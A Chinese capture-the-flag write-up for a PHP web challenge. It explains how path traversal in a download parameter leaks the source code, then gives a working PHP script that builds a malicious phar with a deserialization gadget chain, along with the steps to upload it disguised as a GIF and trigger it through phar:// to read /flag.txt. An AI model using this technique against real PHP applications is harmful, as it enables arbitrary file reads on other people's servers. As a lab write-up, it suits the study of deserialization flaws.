在下载的时候可以通过抓包修改文件名filename=…/…/index.php
获得源码
有这样几个页面
重点在class.php和delete.php中
当时提示是phar反序列化
什么是phar反序列化
传送门1
传送门2
在phar://xx.phar文件的时候
可以通过某些函数触发反序列化
delete.php会执行$file->detele();
class.php中的File类的delete函数里有unlink()可以利用
下面是生成phar
<?php
// add object of any class as meta data
class User
{
public $db;
}
class FileList
{
private $files;
public function __construct()
{
$this->files=array(new File());
}
}
class File
{
public $filename='/flag.txt';
}
$b=new FileList();
$c=new User();
$c->db=$b;
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c);
$phar->stopBuffering();
?>
将生成的文件上传
bp抓包改类型为image/gif
之后删除
抓包修改为filename=phar://test.gif
flag在response里
补充反序列化读文件过程:
先调用了User类,User类destruct的时候,调用了db.close方法,而这里的db是Filelist类的对象,所以调用了Filelist类的close()方法,但是Filelist又不存在这个方法,所以调用了call方法,
call方法会调用file的close方法,也就是/flag.txt调用close方法,也就是包含这个文件。最后,Filelist类调用destruct方法,打印出函数执行结果,也就是根目录下flag.txt文件的内容